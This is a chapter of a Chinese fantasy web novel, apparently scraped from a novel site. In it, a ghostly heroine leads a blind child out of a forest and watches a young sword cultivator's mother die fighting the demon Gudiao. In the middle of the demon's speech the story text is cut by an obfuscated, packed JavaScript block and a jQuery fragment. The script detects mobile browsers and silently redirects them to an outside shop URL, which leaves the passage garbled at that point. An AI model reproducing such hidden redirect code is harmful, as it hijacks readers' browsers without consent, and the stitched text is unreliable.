文趣网 > 其他小说 > 道侣一心求死 > 22. 霜催萱草
    妖兽明显渐落下风,在衣棠影的攻势下横冲直撞,又被一剑斩落右翼,鲜血随翅羽泼天洒下,妖兽坠落于林,数十古木应声而断。

    它深重喘息,目光阴沉,长喙一张,竟口吐人言:“无知小儿,莫多管闲事。”

    衣棠影挽一个剑花,稚气的小脸已初现冰雪姿容:“蛊雕,作恶多端,其罪当诛。”

    蛊雕火冒三丈,鸟脸狰狞:“本座有名有姓!吾最恨眼高于顶的人族。”蛊雕蛊雕,这些剑修怎么不直接互称“剑修”。

    衣棠影恍若未闻,持剑欲诛灭妖兽。

    蛊雕尖啸一声,霎时化作一团黑雾飞逃向远方。衣棠影毫不迟疑,御剑紧随而去。

    姜秾若将他们离去的方向记在心中,匆匆返回神庙。必须要跟着衣棠影,她是破局关键,但也不能把扶光扔在深山老林。

    扶光沉在黑暗中,习惯性地默念听闻过的话语,只不过话语的主人从师父变成了阿若。鲜花饼是什么味道?

    熟悉的香气萦在鼻间,他睁大眼,伸手向前摸索,下一刻双手便被人轻轻握住,阿若的声音响在耳畔:“我回来啦,山神被一个厉害的剑修打跑了,你不需要把自己喂给它,快跟我走。”阿若把他拉起来,来到门口,声音忽然讪讪的:“扶光,我进来后又把门栓上了,现在考考你会不会开门哦。”

    他以前虽耳聋目盲,但生活基本能够自理,开门只是很平常的一件事,所以他很快便摸索着将门打开了。

    “做得很好,以后我会经常考你,帮你锻炼一下哦。”她心虚开口,这个幻境里,她只能借别人的手帮自己做事,虽然她真的很不想给扶光留下喜欢说“让我来考考你”这种话的印象。

    扶光却恍惚一瞬,开门的声音原来是这样的。可他之前没有听到,无论是阿若出去,还是进来。他抿唇,轻轻握住阿若的小指。

    姜秾若反手将他的小手握在掌心,轻快道:“走吧,我带你去探险。”别回坏师父那里。

    月光艰难地透过枝叶间隙洒在林间,姜秾若只能凭借偶尔在空旷处见到的星辰,辨认行路方向。她现在没有疲累、饥渴等感觉,但扶光只是个小童,她担心他体力不支。

    扶光却毅力惊人,沉默着跟上她的步伐。直到他不慎被枯枝绊倒,她蹲下来摸摸浮光的脚,触到满手湿热,他的脚不知何时被割伤了,却一声未吭,任血湿透鞋袜。

    她懊恼于自己的粗心,浮光看不见,而自己感受不到碎石枯枝,摸黑行路会让他陷入危险,他走得比普通孩子艰难。

    倔强的小孩。她叹息,将他抱起继续赶路,要尽快出去找到干净的布和药。

    “我可以,自己走。”扶光轻轻挣了挣。

    “没事哦,我是仙子,感觉不到累的。你别乱动,脚要留更多血了。”她算是明白了,扶光被他师父教成了小圣父,甘于奉献又惧怕烦累他人。

    扶光果然安静下来,乖巧地伏在她肩上。路过林间小溪时,她将扶光放下,让他自己掬水喝。小童跪坐在溪边,脸埋进手心,小口喝水。姜秾若心疼坏了,后悔没有让他把神庙的供品带走,她没有修仙界的野外生存经验,不能让扶光乱吃野果。

    她果然不擅长照顾小孩子,总是粗心大意。

    默默自省完,她摸了摸扶光的小脸,抱起他加快步伐。扶光好像会读心术,在她颈项小声道:“没关系,我习惯了。”

    习惯了什么?!姜秾若忽起无名心火,将他的脸摁在肩上,沉默前行。

    及至天色大白,树木终于稀疏起来,他们快走出林子了。扶光到底年幼,早趴在她肩头沉睡多时。

    空中忽有人影掠过,是修士们在御剑飞行。墨袍随风猎猎飞舞,是衣家的人。

    姜秾若赶紧跟上,等到出了林子,视野一下开阔起来,入目的却是一个沦为废墟的村子,房屋俱塌,断垣残壁处倒着一具具枯骨。几个衣家修士在废墟中翻找尸骨,将他们安置在空地上。

    她抱着扶光,落到修士眼里,恐怕就是一个小童在浮空睡觉,未免引起麻烦,她将扶光轻轻放在一处矮墙后,随后走到修士们身边,听他们交谈。

    “这就是九阶大妖的破坏力,太可怕了。”

    “有生还者吗?”

    “尚未寻到。”

    “这里家家户户都供着大妖神龛,无知无觉中与大妖缔结了邪契,他们的生机都被神龛吸走,成了大妖的养料。本来少主一人就能将它拿下,谁料这妖吸了精气,妖力大涨,只能让家主出手了。家主旧伤未愈,这一遭怕是又要修养许久。”

    “欲壑难填,与虎谋皮,妖邪如何能拜!”

    “家主和少主呢?”

    “他们将大妖引走了,似乎在西南方向。”

    九阶大妖……

    姜秾若眺望西南方向的密林,确实有浓烟升起。

    “这里有个孩子,还活着!”有修士发现了沉睡的扶光,惊喜地呼唤同伴。

    扶光有修士照顾,姜秾若放下心来,转身向西南方向寻去。她有预感,这是衣棠影生命中的重要节点。

    扶光被修士唤醒,耳边俱是陌生的人声,他们欣喜、担忧,梦寐以求的事在此刻实现,他听到了第三个、第四个……很多很多人的声音,但唯独没有他想听到的那一个,他感觉不到阿若了。

    “小孩儿,你可有不适?”

    扶光挣着无神的眼,张了张嘴,什么也没有说出。

    土地被妖血浸得黑红,姜秾若赶到的时候,蛊雕正轰隆倒地,怒目圆睁,吊着最后一口气。一个女子胸口插着支黑羽,正用剑撑着身子,单膝跪在血泊中,衣棠影从她身后的地上爬起来,抱住女子的胳膊:“母亲……”

    “真是母女情深。”蛊雕闷出古怪的笑。

    “母亲,我扶你躺下。”衣棠影咬唇,拖着重伤的身子,欲扶着女子躺倒。谁料女子骤然软下身子,长剑脱手,直接跪倒在她怀中。

    “母亲!”

    “哈哈哈哈!无知小儿,她要死了!”蛊雕死到临头,只想一泄杀身之仇,想到拖了个化神剑修下地狱,大感畅快。

    “你闭嘴!”衣棠影厉声呵斥,眼红得滴血。

    “叫你莫管闲事,你偏要招惹本座。人妖各修其道,本该井水不犯河水,本座赐人族风调雨顺,人族还以精气,天道都承认的契约,你这小儿非横插一手!

    “若无你,本座可没打算今日就取他们的命,本该射向你的羽箭也被你母亲挡了。

    “哈哈哈哈,多可笑!你救了谁?他们都被你害死了!

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782096|209421||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    字字句句,诛心之言。

    衣棠影面无血色,颤抖地依偎着母亲。

    一柄长剑从地上飞起,骤然刺进蛊雕大张的鸟喙,蛊雕的笑声戛然而止,彻底没了生息。

    衣霜松开施法的两指,缓缓抚摸怀中女儿的长发:“你没有错,我此生最骄傲的,就是能成为你的母亲。”

    “我太没用了,母亲。”衣棠影声音哽咽,满是稚子的无助。

    “不,你只是太小了。等长大就好了,你要好好长大……”衣霜声音渐渐微弱,叹息一般:“我的孩子,你还这么小……”

    温柔的抚摸无声停下,发丝缠绕指间,停留着一个母亲对女儿最后的留念。

    衣棠影睁大眼睛,僵如木偶,仿佛和衣霜一起没了声息。

    姜秾若鼻间酸涩,不忍再看。

    “母亲……”随着几不可闻的声音响起,整个世界忽然山崩地裂般震荡起来。阴云倏忽遮蔽天日,巨大的闪电布满天际,世界被劈得四分五裂。

    姜秾若瞪大眼,不可置信地看着眼前景象如打碎的镜面一般分崩离析。

    她好像处在一片虚空中,数个碎片从她眼前飞过,碎片中是无数个衣棠影成长的瞬间。十二岁的衣棠影失去了母亲,强撑着主持镇厄祭典;十三岁的衣棠影握着弟弟的手,一招一式亲自教导他镇厄剑法;十四岁的衣棠影与父亲大吵一架,在离家出走的路上帮一位母亲捞起落水的幼童;十五岁的衣棠影荡平流离谷,在妖兽尸骨下躺了一夜后,终于被族人挖出;十六岁的她破阶至化神境,所到之处,妖邪闻风而逃……

    一切仿佛如母亲所愿,她有好好长大,初心如昨。

    姜秾若望着十几年前的幻象旧影,忽觉命运无情,这位含霜履雪的剑修将被至亲摧毁所有的傲骨,尊严踏碎一地。

    恍惚间,碎片消散无踪,眼前凝出实景,她环顾四周,发现自己身处庭院,不远处一方荷池颇为眼熟。

    姜秾若磨了磨牙,这是她被唐风暗算后掉入的池塘。她来到了幻境中的衣氏府邸,只是不知这是衣棠影的哪段记忆构成的。

    正打算四处游荡,远处走来一高一低的身影,停在池塘边不动了,看着装是衣家的修士。姜秾若怕水,即便是幽魂状态也不想靠池塘太近,朝他们走了几步,能听到谈话声就不动了。

    矮个子修士将手中的篮子往高个修士怀里一塞,捂着独肚子吭哧道:“我突然肚子痛,好兄弟,你一个人去给小姐送花吧。”不等对面回话,他就弯腰朝姜秾若的方向跑来。

    “傻子才去触霉头。”他嘀嘀咕咕地经过姜秾若,到拐角处就直起身子跑得没影了。

    给小姐送花……这府里的小姐就是衣棠影呀。

    她看向高个修士,打算跟他一起去衣棠影的院子。令她奇怪的是,那人面朝她的方向,一动不动。

    他的好兄弟早就抛下他不见了,这是在看什么呢?怎么还不走。

    她不情不愿地迈步,克服对池塘的恐惧,想看看他在发什么呆。那人却慢慢动身,越走越快,模糊的面容眨眼间便清晰起来。

    眉目如画,挺鼻薄唇,睫羽若墨线勾画,眼尾猫儿一般微微翘起,冰蓝的眸子大而圆。

    谢晋衣?!不对,是扶光!